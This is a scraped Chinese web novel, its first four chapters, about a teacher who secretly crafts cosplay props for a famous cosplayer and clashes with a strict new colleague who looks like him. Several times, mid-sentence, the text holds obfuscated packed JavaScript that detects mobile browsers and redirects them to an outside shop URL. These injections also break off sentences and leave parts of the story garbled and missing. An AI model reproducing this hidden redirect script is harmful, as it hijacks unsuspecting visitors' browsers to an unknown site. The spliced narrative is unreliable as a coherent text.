《骂谁老师二次元呢》 1. 第 1 章 “麻烦让一下、谢谢……让一让谢谢……” 人群中一个带着口罩帽子，一件长袖外套把自己裹的严严实实的高挑男生努力的朝一个方向挤过去，拨开层层人群，站定在队伍末排，他抬头看了一眼距离，叹了口气。 现在是暑假假期的最后，没想到漫展里依然有这么多人，尤其是这个场馆里，只因为一个人的存在变得人山人海。 那个人就是c圈知名的最顶流coser——离玉。 陶与晴从几年前等到现在，终于等到了离玉来自己所在城市的漫展，满心欢喜想见他一面，却又被拥堵的人群搁在了外面。 要怪也怪他自己，今天去帮亲戚家的孩子补习盯作业，完事才有空临时赶过来，等到场内签售时间都要结束了。 陶与晴踮脚朝那边看了一眼，隐约能看见里面的离玉正在和粉丝微笑合影。 他今天出的金发角色，假发毛流感十足，根根分明就像从角色头上薅下来的一样，看得出来这位幕后毛娘的手艺非常逆天。 再加上可塑性极强的那张帅脸，说建模就是照着他的脸建的也不为过，他的嘴角微微上扬，笑的俊朗又明媚。 陶与晴咽了咽口水，下意识都想掏出手机拍照了，很难见到帅的这么纯粹的人。 然而工作人员这时候已经拿着喇叭开始喊话，最后十分钟，提醒后排的人不要再排队了。 陶与晴看了一眼自己所在位置，心里估摸了一下，也许还有机会…… “啊……！” 陶与晴回头看去，是一个穿着Lolita的女生，不知道被地上谁落下的水瓶绊倒了，人来人往的人群太多，一时间显得十分危险，就像安全演示里面那样要发生什么不好的踩踏事故了。 陶与晴两步过去拨开人群，把女生拎起来。 “谢谢谢谢……”女生颤巍巍站稳，但是膝盖和小腿上面都擦伤了。 看她年纪不大，约莫也是个中学生。 “你朋友呢？” “我一个人来的……”女生疼的吸了一口气，说：“想着暑假要结束了，来见见离玉老师，没想到刚才……” “好了，简单消了毒，回去路上还是去医院看看、包扎一下，”陶与晴把用完的酒精棉签丢进右手边的垃圾桶，又说：“下次走路注意点，人这么多，很危险的。” “谢谢，太谢谢了，”女生连连点头：“老师您继续排队吧，对不起耽误您时间了。” 这声“老师”倒是叫的陶与晴眉头跳了跳，对这个当今社会通用的称呼有些微妙的尴尬，点了点头：“不用谢。” 陶与晴看了看排队的队伍，又看了看一瘸一拐打算离开的小姑娘，想了想开口问：“你是学生对吧？” 女生惊讶的回头，点头说：“嗯，开学就高一了。” “过来吧，我的位置给你。” “这怎么好意思！您排了有一会了吧？一会就截止了！” “没事，我已经工作了，有时间再来就行，”陶与晴扭头对几个等他回来排队的同好说：“我刚才排在这里的，让这个小姑娘替我可以吗。” 后面的几个人连连道：“可以的可以的，我们都看见了，老师您人超级好的。” “嗯嗯嗯，老师人帅心善！” 陶与晴都有点不好意思了，赶紧把那女生扶过来，又说：“你父母呢，知道你来漫展吗？把他们电话给我。” 女生听着这话莫名有种背后一凉的感觉，说话不自觉的就心虚了，一张口就说了实话：“知道的……” “那好，你排队吧，我让他们来接你。” 女生感动的要哭了，鞠躬道：“谢谢，真的很感谢！” 陶与晴输进女生父母的电话号码，简单的说明了一下情况，对面表示麻烦他照顾一下，马上就过来。 那边的工作人员高声说着签售截止，陶与晴把手机揣进口袋里，越过人群隔着远远的距离，最后看了一眼签售台那边的离玉。 今天他cos的是一部最近很红的动漫角色，金色的头发很衬他的脸型。 一字就是帅。 算了，也勉强算是见到了一面吧。 陶与晴在外面等了一会，女生拿着签售海报一瘸一拐的走出来，激动的说：“老师！我给您多要了一份签名，离玉老师人超级好的他二话不说就给了，给您！” “谢谢……”陶与晴接过一张海报，其实他主要是想来见见人的，亲签倒不是最想要的。 毕竟想要离玉的签名，他直接说一声就是了。 不过有这份心，这姑娘人也挺好的。 “你父母说一会过来接你，我陪你在漫展外面等一下，”陶与晴握拳伸手过去，说：“扶我走吧。” “呜，谢谢您，您简直是天使。” 最后女生想扩列，但陶与晴没同意，目送女生上了父母的车，站在陆续解散的漫展门口惆怅了一下，陶与晴打算约发小出来吃顿好的安慰一下自己。 又是见不到离玉真人的一天，难受。 手机的屏幕亮了亮，特别关心的提示音响起。 【离玉（暑假黑奴版）】：我签售结束了，本来想把后面的粉丝也签了，唉，但是要散场了。 陶与晴看着发来的消息笑了笑，打字回复。 【扶光】：你粉丝太多了啦，也没办法。 【离玉（暑假黑奴版）】：说起来阿光你是不是也在祁城来着，要不晚上约个饭？ 陶与晴心里一紧，十分违心的回复。 【扶光】：不了不了，我晚上有单子。 【离玉（暑假黑奴版）】：好吧好吧，你多注意休息，今天的假发太好看了，一眼就有人认出来出自你手了，哈哈。 陶与晴很想说，其实刚才自己就离他不过几米距离。 但他要是能以扶光的身份见他，就不用等到现在了。 陶与晴的现实身份是正儿八经的人民教师，认识离玉快七年了，陶与晴从考上师范大学开始，现在都没去面基一次。 诉苦了一下今天的事情，发小电话里表示：“不就见个面吗，反正你和他这么熟了，他总不会爆你马甲背刺你吧。” 发小叫向思远，现实生活非常充实的外企管理层，如果不是穿开裆裤就认识，估计两个人是八杆子打不着的关系。 陶与晴一边走在路边打车，一边说：“原则是底线，不能因为任何人打破，再熟也一样。” 向思远戳穿他：“你这就是一朝被蛇咬，十年怕井绳——算了，反正你也没见到，那小爷就勉强出来陪你吃个晚饭吧，地址发我。” “我这儿不好打车，你定地方吧，我直接过去。” “好好好你才是大爷。” 晚上六点半，陶与晴和向思远在一家烤鱼店相见，向思远把菜单丢给他，说：“你点？” “……随便吃点吧，”陶与晴挥挥手打了个哈欠，“过两天开学了，我得倒下时差早点回去。” “对哦，我们桃子是人民教师，马上要回到工作岗位了，”向思远拿回菜单一边看一边问：“不过开学你应该带高一了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277154|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “对，领导说学校有几个新老师要调过来，其中一个让我带带。” “可以啊陶老师，才几年就能带新人了？” 陶与晴无奈道：“人家不是新人，听说也是当了好几年的老师，而且被前一个学校压榨带了两三届高三生，经验估计比我丰富，我主要是带他熟悉一下学校环境和氛围。” 向思远点完了菜，和陶与晴吐槽说：“那他这个前学校太不当人了，你去年带了一届高三都忙出来一身老年病。” “可能就是因为这样所以转校过来了吧，后天开学见见人就知道了，比隔壁高老师好相处。” 高中的小崽子们正式青春活力的时候，这个年纪倒是比中小学成熟点，但朝夕相处下来幺蛾子也不少，尤其是学习压力一大什么都干的出来。 陶与晴还是重高的老师，这学期他就是2班班主任了，要操心的事情只会更多。 想到上学期几个孩子因为小矛盾打架喊家长的事情，有些汗流浃背了。 那时候他坐在办公室角落，看着几个孩子的家长一个比一个人高马大，差点把房子屋顶给掀了。 暑假的最后和发小聚了餐，回到装满各种工具道具的家里。 陶与晴家里不乱，只是东西多，各种手工道具应有尽有，摆了满满的一柜子。 他睡了两个好觉，开学当日陶与晴站在穿衣镜前简单整理了一下仪容，穿着一件要是出去玩绝对不会上身的格子衬衫，带上公文包和保温壶出门。 开学的学校重新沾染上人气，陶与晴走进办公室第一面就见到了前两天提到的高老师。 这位年岁不小了，成了学生们最为熟悉，家长眼中最靠谱的地中海造型，在同级办公室回头看向走进来的陶与晴。 “小桃子啊，真巧，咱们又是同一级，不过这次你要当2班班主任了吧？” 这位高老师性格倒不是说多差，但是非常喜欢“比”。 平时比成绩，运动会比名次，毕业还要比升学率。 隔壁班这次考试有多少个130分以上，算是他整个学期的名言警句之一。 “是啊，”陶与晴不太擅长应对他，每次都笑着糊弄过去：“到时候请高老师多传授传授经验。” “当然当然，你不知道，我当年做班主任带了一届高三，升学率在整个学校都是……” 他眉飞色舞的讲起过往经历，还带比划。 陶与晴左耳进右耳出，整理好了桌子，看了看表：“哎呀时间到了，我该去和学生们打招呼了，再见啊高老师。” “唉，这么急啊。” 陶与晴赶早溜了出来，绕过走廊拐角，走进了2班的后门。 来到新班级新学校的年轻孩子们各个都蛮兴奋的，好像有很多说不完的话，教室里一时间快赶上菜市场了。 “哎哎哎，那是咱班的同学？好帅啊。” “哪儿？哦哦我看见了，真的唉，好像那个谁。” 陶与晴从后排一步步走到讲台上去，喧闹声一下子安静了些许，他身高很优渥，一下子就吸引了其他的目光。 然后他就在众目睽睽之下，拿出了小蜜蜂扩音器，有些重的放下保温杯，表情由微笑变得严肃，眼神带上了一丝不符合年纪的老练和威慑，微微眯起，击碎了一些帅哥滤镜，扫视了班级内一圈。 那些目光逐渐从好奇打量，到收敛坐直。 陶与晴咳嗽一声才说：“靠窗的同学麻烦窗户打开，其他人先随便找个位置坐下，你们讲完了、该轮到我讲了。” 2. 第 2 章 抢到靠窗位置的女生仔细一看，盯着陶与晴张大了嘴巴。 她默不作声的动了动还贴着伤药的膝盖。 这不是前两天漫展里好心帮她的那个老师吗？！ 真老师？ 陶与晴长得年轻又帅气，班里的同学只是吓住了一瞬间，反应过来之后实际上纷纷开始窃喜，忽然觉得高中三年有盼头了。 陶与晴看着班里同学安静下来，逐步开始讲起自我介绍和开学的注意事项，完全没有注意到靠窗的女生曾经在漫展上见过他。 陶与晴其实很少真的现身参加线下活动，而且他有些脸盲，迄今为止能准确认出每一个角色的coser都只有离玉一人，别说一面之缘的小姑娘了。 甚至点名点到她的时候，也没去注意她站起来的神态不对劲。 “邓留萤。” “到……” 邓留萤慌乱坐下，同个初中的同桌疑惑的看了她一眼。 “你紧张啥？” “我等会给你说……” “宁雨。” “到。” “赵遇京。” “唉！老师！” “好了，”陶与晴放下名册，说：“第一天没有人迟到，很好……那几个男生，去一楼拿书，一会有个开学典礼，大家先坐一会，可能有其他老师过来。” 陶与晴收起自己的东西暂时离开教室，在走廊和一个人身高优势很大的男人擦肩而过，并没有抬眼看他的脸。 只是在侧肩而过的那一瞬间，陶与晴闻到了一股子淡淡的桂花香气，疑惑了一下这么一个人高马大的男人，身上居然有这股子香气，和自己平时打包东西用的香水味道有点像。 陶与晴看了一眼手表时间，新老师应该已经来了，校领导把人交给陶与晴照顾，但是学校开门到现在，自己还没接到一条消息。 无奈之下，陶与晴去了一趟年级主任的办公室，却意外被告知对方已经走了。 “简老师人确实比较孤僻，”年级主任难得露出了一些为难的表情，“他见过我之后说不需要人带，就自己先去班里了，小陶，你比他小几岁，阅历也不多，没什么这方面的关系，不用多管，但毕竟你是班主任，你们要是相处不愉快也别闹什么矛盾。” 陶与晴从进入学校开始，年级主任就对他照顾有加，除了教育学生的时候，为人是很温和的。 连他老人家都说这个简老师孤僻，那到底是多孤僻啊…… “我知道了，我还是过去看看。” 陶与晴点头离开，回忆起刚才走廊上那个高自己一截的男人，觉得那估计就是简老师本人了。 看起来确实挺有威慑力的，光是这个身高。 刚从楼上下来，陶与晴就注意到墙后面探头探脑的两个女同学，但没听清她们在说什么。 “你去你去。” “我害怕啊。” “哎呀你不是说你之前见过陶老师，很好说话的吗？这时候你怂了？”同桌开始用激将法：“你个社牛，暑假还说要让年轻老师体会人心险恶来着。” 邓留萤急了：“你不懂！我是漫展上……很尴尬的啊！” “在说什么呢，”陶与晴走过去，义正言辞开始教育起那两个姑娘：“虽然今天报到不上课，但是也要尊重新老师，怎么能偷偷跑出来呢？” “不是的陶老师，简老师已经走了，”邓留萤差点咬到舌头，组织好语言才走出来接着说：“我们……我们想请您帮帮忙。” 他这才注意到，那个邓留萤的腿上贴着伤药，位置好像有点熟悉。 但学生有求于他，陶与晴没管其他，先问：“什么？” “简老师，他、他收走了我的典藏小说……我只是放在课桌里，我没有拿出来，因为今天开学想拿给我同桌，”邓留萤见陶与晴没认出来自己，大胆了一些，解释说：“但是简老师走过去的时候不知道为什么看见了，就从我课桌里面收走了，说不准我们把这些闲书带来学校……” “陶老师，我们错了，我们下次再也不带来了，能不能帮我们拿回来啊，他看起来好凶，班里没一个人敢去说，我们怕他不会还了，”同桌欲哭无泪：“我们真的知道错了，我们不知道这里不能带，初中的老师课间是允许我们看的。” “我知道了，”陶与晴挨个摸摸她们的头，说：“别紧张，带我去找简老师，我和他了解一下这个事情。” “谢谢陶老师！” 几个人一路走到了办公室，简老师还在办公室里没走，但是意外的平时话多的高老师都默不作声的看着书，完全没有和简老师搭话。 高老师抬眼看见陶与晴领着几个学生进来，才算是松了口气。 他干老师这么多年，还没见过能把办公室的气氛也一并冻结的家伙。 今天算是见到了。 陶与晴倒也稀奇，居然又报到第一天就让学生集体畏惧的人。 “简老师，”陶与晴在几个女同学期待的目光下，英雄一般出现在办公室开口：“我们能聊一聊吗？” 办公室其他几个老师都纷纷低下头。 那位简老师转过身，眼镜反了反光，露出藏在下面那双俊艳双眼。 “可以，有什么事。” “……啊，我、”陶与晴愣了，心脏一下子骤停了。 卧槽，好帅。 他耳根子默不作声的红了点。 身后的女同学以为他是被对方威慑到了，小声表示：“加油啊陶老师。” “嗯……我、”陶与晴一边说，一边忍不住打量他的脸：“就是……刚才你、你……收走了书，她们没有拿出来看对吧？” “对。” 这鼻梁，这下颚线，这脸，这眼神…… 好帅。 ……好像离玉啊！ 可是气质完全不同。 只不过比离玉凶一点，古板一点，正经一点，声音也低了点……？ 但是好帅啊，糟了糟了要呼吸困难了，不知道简老师接不接cos委托呢……不对！ 陶与晴把飘远的思绪猛的抓回来，咳嗽两声，说：“刚才你、拿走了班里女、女同学的书，麻烦还给她们吧，她们并没有在你……上课的时候看，我们作为老师……” 陶与晴有一个臭毛病。 看见帅哥，他就忍不住结巴。 本来那一串说辞应该是很流畅很帅气的说出来的。 现在岂不是像个二愣子。 可是帅就算了，为什么帅的偏偏很像离玉啊……除了离玉，陶与晴还是第一次对人结巴。 虽然有些磕磕巴巴，但是陶与晴还是把大概说辞说出来了，几个姑娘在后面纷纷点头。 “我们保证不看的，简老师您先还给我们吧，求求了。” “嗯嗯……我们错了。” “……” 空气一瞬间寂静了，对面的人推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶与晴情不自禁替她尴尬了一下，接着说：“如果简老师你也有很喜欢的、无关学术的事物，应该也能理解她们的，不管怎么样，先把书还给她们吧，到底能不能带课外读物来学校这件事，我们可以以后再单独讨论。” 最终，也不知道那位为什么就松口了，邓留萤拿到了自己的书，非常郑重的感谢了陶与晴。 “不用客气，”陶与晴站在办公室门口，说：“不过刚才简老师说的其实不无道理，以后你们想带来可以，不要耽误了正统的学习，也不要传阅三观不正的书籍，不然被发现，我就让简老师收拾你们。” “知道了知道了，谢谢陶老师！您太帅啦！” “快回教室吧，一会有开学典礼。” 两个姑娘并排离开，心有余悸的讨论刚才的事情。 “简老师也太凶了吧，陶老师都怕他了。” “是啊是啊……而且他说的话好难听，见到他还是躲着点吧，幸亏我们班主任不是他。” 陶与晴目送她们走远了点，并没有听见学生之间的窃窃私语，转身走进办公室。 然后他和那位简老师对上了视线，火药味再次燃起。 “哎呀，”高老师喝了一口水，说：“我想起来还有点事要给我们班同学说，我先走了。” 隔壁班的女老师也尬笑两声，说：“哈哈，我早点回去，我老公炖鸡汤忘了关火。” 办公室里的人都找借口走了，只留下两个人。 然而这两个人谁也没有先开口说话。 3. 第 3 章 陶与晴咽了咽口水。 他不说话不是因为记仇。 而是怕自己离开学术模式又被帅成结巴。 难顶。 对方却主动伸手开口：“陶老师，正式认识一下，我叫简璃，以后我们就是同事了。” “你、你好，”陶与晴伸手和他礼貌的握了握，说：“刚才多有得罪，我只是觉得……开学第一天别成为学生不喜欢的那种人。” “我也不是很在乎他们喜不喜欢我，”简璃松手，说：“我一会还有事，就先走了。” 陶与晴看着他收拾东西走到门口：“好的，明天见。” “多说一句，”简璃在门口回头：“陶老师对同事说话，还是想顺了再开口吧。” 说完，他就走了。 “……” ……混蛋！死装！ 陶与晴像是被戳了一针的气球，瞬间炸毛红温了，他没想到到最后简璃还要甩自己一个无法反驳的回旋镖。 陶与晴默默蹲下抱紧自己。 他怎么这么装啊啊啊！ “陶老师……”隔壁班女老师在后门探头进来，略带同情：“……加油。” 就连借口是回班里的高老师也从后面道：“看好你啊，小桃子。” “……谢——你们不是走了吗？” 陶与晴回到教室，作为班主任要带着学生参与开学典礼。 开学典礼上也没再看见简璃，也正好，陶与晴现在的确不想见到他。 这家伙倒是诚实，说有事就真的有事走了。 校长领导在开学典礼上讲了一些令人发困的演讲，全是高一新生基本上也没人听，还是一直到中午才结束。 好不容易回到教室嘱咐了几句话，陶与晴就放学生回家了。 离开学校前一秒，陶与晴收到了离玉发来的场照照片，是前两天漫展上拍的。 虽然是原图发来的，但也帅的没边，陶与晴靠着手机里的离玉照片回血，并且迅速回复这两天就给他精修出来。 什么叫纯粹的帅，这才叫纯粹的帅。 而且离玉为人和善从来不摆架子，对待粉丝和亲友都特别好，还会邮寄小礼物，礼物包装上面还有粉色的蝴蝶结呢。 这才叫相由心生，不像某些蛮不讲理的制冷机。 傍晚，和发小烧烤摊相见。 “哈哈哈哈哈哈哈……”说起这件事，向思远毫不掩饰的大笑出声，“所以你，开学报到第一天就和人家吵起来，还没吵赢吗哈哈哈哈。” “胡说八道，”陶与晴说：“我吵赢了，他把书还给学生了。” “不过桃子啊，赢得太丢人了，”向思远给他打开一罐啤酒，“能有多帅，帅得过我？” “我明天早课，不喝酒，”陶与晴婉拒了，说：“他确实挺帅的，而且又高。” “你不是喜欢那个离玉吗，说只有他的颜值最戳你，你移情别恋了？” “才没有，我们离玉老师比他好多了，”陶与晴自信亮出手机：“你看，前两天的漫展场照，等修好发出去，我就又有新的壁纸了——简璃只是有点像他，我习惯习惯就不好了。” 向思远点点头：“离玉确实帅啊，但你也不用每次都拉着我看你那不重样的几百张壁纸吧！……你确定简璃像他？他俩名字也有点像……万一他俩是一个人呢。” 陶与晴想到今天简璃那个样子就生气，咬牙切齿说：“切，代餐罢了，他要是离玉本人，我穿着女仆装跳钢管舞。” 向思远：“已录音，莫辜负。” 陶与晴没和向思远聊太久，八点之前就回家了，整理教案，修修图，洗漱睡觉。 毕竟离玉老师的图片都特别好修，原图就已经很好看了。 陶与晴除了是一个体面的老师，在网上他是坐拥几十万粉丝的“二次元魔法师”——扶光。 之前离玉漫展上那顶假发就是他做的，他为离玉承包各种幕后工作已成习惯。 其他人排单至少都要提前一年预约，唯独离玉永远享有特殊通道，这是圈子里许多人都知道的，也有不少人嗑上这对。 不过陶与晴的隐私保护的特别好，几乎没人知道他的生活和性格，所以cp圈子非常冷，如果陶与晴愿意露脸，嗑他俩cp的人只会更多。 陶与晴临近开学这几天停了单，打算过段时间再接，刚巧离玉这段时间也停了线下活动。 晚上互发消息，陶与晴才知道他最近换工作换住址，估计挺忙的，如果可以的话他也想帮离玉的忙，但是现实里的事情他就帮不上了。 【离玉（折磨上班中）】：搬到新房第一天，累瘫。 【扶光】：太惨了，赶紧休息休息吧？ 【离玉（折磨上班中）】：我东西都没收拾好，唉，明天再说吧，这两天回祁城找了好多房子都不怎么满意，最后还是回了本来就有的房子， 陶与晴和离玉聊了一会，虽然离玉在祁城有房子，但那房子的地址家里人都知道，他的cos服什么的实在是太多了，家里家教比较严格，知道他住哪里总归不太安全，所以打算搬出来。 结果找不到什么合适的房子，只能作罢。 认识这么久，陶与晴对离玉的情况有些基本了解，他家里管的确实很严格，每次说起这个陶与晴就心疼。 对于二次元这些事情，自家倒是不支持也不反对，觉得只要不影响学习和工作就行，比起离玉好多了。 离玉明明靠着coser身份就能够赚到很多钱，完全够过的很好，这几年却也不愿意辞去那份稳定的工作，所以会在爱好和家庭工作之间挣扎。 陶与晴从来没像其他人一样劝他全职，因为他自己也一样，不愿意辞去老师的工作，对这个职业有些不足为外人道的执念。 虽然不知道离玉的工作具体是什么，但是他愿意遥迁两座城市、回到老家祁城也不放弃的事情，肯定也是很有意义的吧。 【扶光】：没关系，加油！我永远支持你！ 【扶光】：（冒小爱心.jpg） 第二天陶与晴醒的比想象中早，洗漱完了离上课还有些时间，决定晨跑一下再回来吃早饭去学校。 早上的空气特别宜人，陶与晴租的这个小区不便宜，绿化也特别好，沿着河道跑步心旷神怡，还能顺手买个煎饼吃。 如果不是迎面撞上了一个冤家的话。 简璃从对岸慢跑过来，看见陶与晴停下之后，也跟着停住，慢慢摘下耳机。 简璃一如昨日的沉声：“陶老师，早上好。” 这人跑步也戴着眼镜，但薄薄的短袖把腹肌轮廓衬的若隐若现，简璃额头有些微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陶老师，我觉得班长非我莫属，”赵遇京自信举手，说：“我必将带领班上同学杀出重围，崭露头角。” “嗯，确实很展露头角，”陶与晴面无表情的反驳男生：“刚才上课你接了四次下茬，一次答非所闻，对着窗外开了三次小差，赵遇京，活泼是好事，但不要影响老师上课，今天数学作业加一页，明天交给我，任命你为体育委员。” 台下哄笑一片。 赵遇京尬笑沉默，趴回了桌子上。 “这些都不着急定，同学之间多相处相处，有好的建议可以告诉我，”陶与晴收拾好东西，刚好打了下课铃声，“下课。” “老师再见——” 回到办公室，简璃的工位就在自己对面，但是不见人影。 下节课就是他的了，该不会没来学校吧？ 陶与晴放下教案坐下，倒了杯热水冷着，随手翻开学生的资料。 ……没事，如果简璃没去上课，学生肯定会来叫自己的。 时间一分一秒的过去，大概一节课结束了，也没见到简璃回来。 第二节课之后按理来说是大课间，学校本来安排要跑操，但是开学这两天广播出了点问题，所以跑操暂时取消了。 甚至隔壁班教数学的女老师徐闻都回来了。 “徐老师，冒味问一下，”陶与晴忍不住转身，问：“我们班的简老师去上课了吗？” “嗯？在啊，”徐闻点头，说：“我下课路过看见了，他们还没下课呢。” “这样啊……” “去哪啊陶老师？” “救孩子们于水火。” 4. 第 4 章 陶与晴一路走到教室后门，站在后门的门窗上看了一会，已经下课十分钟了，里面的气氛还是严肃而紧张的。 但是也没有人敢开小差，估计是因为简璃太凶了。 陶与晴看了一会，走到前面去敲开门。 好像一束光照进了教室里。 “简老师，有些资料和你对一下，快些讲完吧。”陶与晴站在门口给了学生们一个目光。 简璃默不作声翻了翻书，然后开口道：“好，讲完这道题就下课。” 学生纷纷松了口气，对陶与晴投去感激不尽的目光。 两分钟后教室里压抑的氛围终于消失了，简璃走出教室，里面瞬间哀嚎一片。 “什么资料。” 陶与晴看了看他，想他多半已经猜到没这件事了，被他这张脸盯着看莫名心虚：“……好吧骗你的。” 简璃果然并不意外：“理由很简陋。” “不说这个，”陶与晴和他一边回办公室一边说：“……你刚才布置下去的作业让他们晚自习交？” 简璃点头：“对，这是白天的作业，晚自习结束的作业另说。” “简老师，你的教育方针是不是有点太激进了？”陶与晴在办公室门口停下，说：“这才高一，别给他们那么大压力，这样他们哪有时间睡觉啊。” “现在不适应，什么时候能适应，”简璃侧身走到陶与晴面前，和他对视，“而且陶老师，今天你和我说话从来不正眼看我，没人告诉你很不礼貌？” “……” 陶与晴脸上涨红，不知道是气的还是羞的，也可能都有。 他迅速低下头，说：“……我、我没事看你干嘛。” 简璃正想再说些什么呛他两句，隔壁班的高老师就从办公室走出来。 “小桃子在啊，简老师也在呢？下课了？” “嗯，和陶老师聊点事情，”简璃冲高老师点点头，说：“您忙去吧。” “行，年轻人多多交流。” 简璃这不是能好好说话吗？ 陶与晴抬眼看了看他，发现面前的人不知道什么时候转身回办公室了。 ……到底是谁没礼貌。 陶与晴紧接着跟进去，他和简璃的工位面对面，之前还好，现在两个人单独留在办公室，怎么待怎么不自在。 简璃坐在位置上，时不时推推眼镜，修长的手指翻书备课，卷起衣袖的小臂上肌肉轮廓很明显。 他应该有在健身。 陶与晴自己也挺自律的，从小就是老实孩子，身体健康没什么毛病。 但他是不容易练出肌肉的体质，骨架也小，小时候和向思远打过几架，从来没赢过。 嫉妒，像呼吸一样简单。 陶与晴翻开书本，暗自决定离开之前不再看简璃任何一眼。 过了一会，陶与晴的手机响起短信提示音，低头一看，是向思远的消息。 这家伙不是应该在上班吗，怎么有空摸鱼发消息。 陶与晴打算把手上这道题看完了再回他，但向思远连着发了好几条，手机屏幕都一直亮着。 虽然短信提示音很小，但简璃还是微微蹙眉看了一眼对面。 那亮起的手机屏幕，壁纸是两年前离玉cos的一个游戏角色，假发道具都是扶光做的。 简璃微微愣住，一些不满的话到嘴边，咽了下去。 ……粉丝？ 陶与晴并没有注意到他的表情变化，看完题目打开手机，回复向思远闲话的同时顺手把昨天的图发给离玉，让他看看喜不喜欢这种效果。 简璃放在抽屉里的手机亮了亮，备注是【偶像】的特别关心发来了一张图片，消息一闪而过，屏幕很快黑了下去。 陶与晴没有得到离玉的回复，想着对方应该在忙，也没多发什么。 午休时间，出于一种礼貌的问候，陶与晴问了一下简璃要不要去食堂吃个饭。 纯粹是客套，陶与晴觉得简璃这种孤狼性格一定是想自己去的，何况他俩不算熟悉，甚至有些过节。 “好，走吧。” “那……嗯？” 他什么意思？ 陶与晴手上动作一顿。 这意思是和自己一块？ 没等陶与晴想明白，简璃已经走到了门口。 “还愣着？” “……哦、来了。” 教师食堂和学生食堂离得很近，只是大多数学生都在一楼吃饭，只有少部分在二楼和老师一个地方吃。 一中的饭菜是祁城最好的一个，所以陶与晴一般能在学校吃都是在学校吃的。 一楼二楼是食堂，三楼是学生聚集更多的小卖部，一下来就能看见两位扎眼的存在。 “哎哎哎，你看，我们班主任还有语文老师。” “哇，这么帅？我还以为吹牛的呢。” “骗你干嘛！” “邓留萤！快过来快过来……你看你看，陶老师和简老师在那。” 邓留萤垫脚越过人群看了一眼，心中一喜，连忙说：“我们过去吃吧？” “啊……可是简老师、我不去我不去……” “怕什么！现在是午休哎，简扒皮再恐怖能当场叫我们上课吗？走啦走啦！” 陶与晴正在尴尬的不知道该和简璃聊些什么，而且这样面对面坐着，一看见他的脸自己就说不出话。 看见几个熟悉的女同学走过来，陶与晴才松了口气。 都是我的好学生，没白救。 “你们才吃上？”陶与晴：“怎么不多吃点？这点够吗？” “够了够了，谢谢陶老师，我们跑得慢，所以……” 几个女生在长桌坐下，毕竟是面对老师，除了邓留萤以外其他人都有点收敛。 女同桌不知道邓留萤哪来的胆子，虽然她性格一直挺外向的，但是…… 问她到底什么时候见过陶老师，她也是支支吾吾的说了些漫展什么的，完全没听懂到底什么意思，问她她也不解释。 邓留萤坐在陶与晴旁边：“陶老师，今晚晚自习是你来嘛？” “嗯，明天是你们简老师。” 看他们侃侃而谈，几个女生你看看我我看看你，得出了一个很违背良心的结论。 邓留萤该不是喜欢陶老师吧？ 禁忌的爱恋？？这才见过几次啊。 实际上，要不是这里人多眼杂，邓留萤早就和陶与晴认亲了。 都是离玉的粉丝再坏又能坏到什么程度呢。 可惜一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277157|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有找到独处的机会啊啊啊老师你快认出来我啊！急急急。 简璃坐在对面一直没说话，学生几个也不敢主动和他搭话，基本上都是挺邓留萤和陶与晴说话。 陶与晴最后把自己的鸡腿分给了几个学生，说：“长身体多吃点。” “陶老师谢谢！您吃吧。” “是啊是啊，您带我们可辛苦了。” “我不用，快吃吧”陶与晴说：“午自习快回教室，告诉同学们我一会过来。” 几个女生看了一眼钟表时间告急，这才没有客套，迅速吃完了饭，就和简璃陶与晴说再见。 陶与晴盘子里的肉都给学生了，这个点食堂也没剩什么了。 他倒也不是很饿打算收拾收拾回教室盯学生，忽然一双筷子夹过来一个鸡腿。 “你吃吧，”简璃说：“我控制饮食。” “……健身？我知道，”陶与晴有些不好意思，说：“但你没吃多少吧？饿了是不是也不行？” 简璃沉声：“没什么，你吃了就行。” 怎么忽然间这么好了……？ “陶老师平时有什么兴趣爱好吗，”不知道为什么简璃忽然问这个，“我看现在很多孩子喜欢追星，或者看些动画片什么的。” “没有，”陶与晴斩钉截铁：“我完全不懂他们在看什么，跟不上年轻人的生活。” 简璃打量了他一下，说：“但是陶老师也才二十五六，也很年轻吧，我以为你会对年轻人的爱好有些了解。” “四舍五入三十岁了，”陶与晴脸不红心不跳，低头吃饭，道：“我不知道啊，我不懂、这么说简老师想了解了解？” “没，我只是单纯的好奇，我也完全不懂。” “哦……嗯。” “嗯。” 好微妙。 中午陶与晴守着学生午休，下午没有课，打算回家休息休息，顺便把剩下的图片ps了。 简璃果然又不见了，办公室没他的人影，陶与晴明白他是个边界感很强的人，应该不喜欢别人关心他的私生活。 两个人两天了连个联系方式都没加过。 “小桃子啊，”高老师坐在座位上朝他挥挥手：“过来过来。” “怎么了？” “你下午没课吧？帮我个忙呗，”高老师摸摸自己下巴上的胡茬，说：“学校的复印机坏了，你要出去的话，帮我复印一下，不多。” 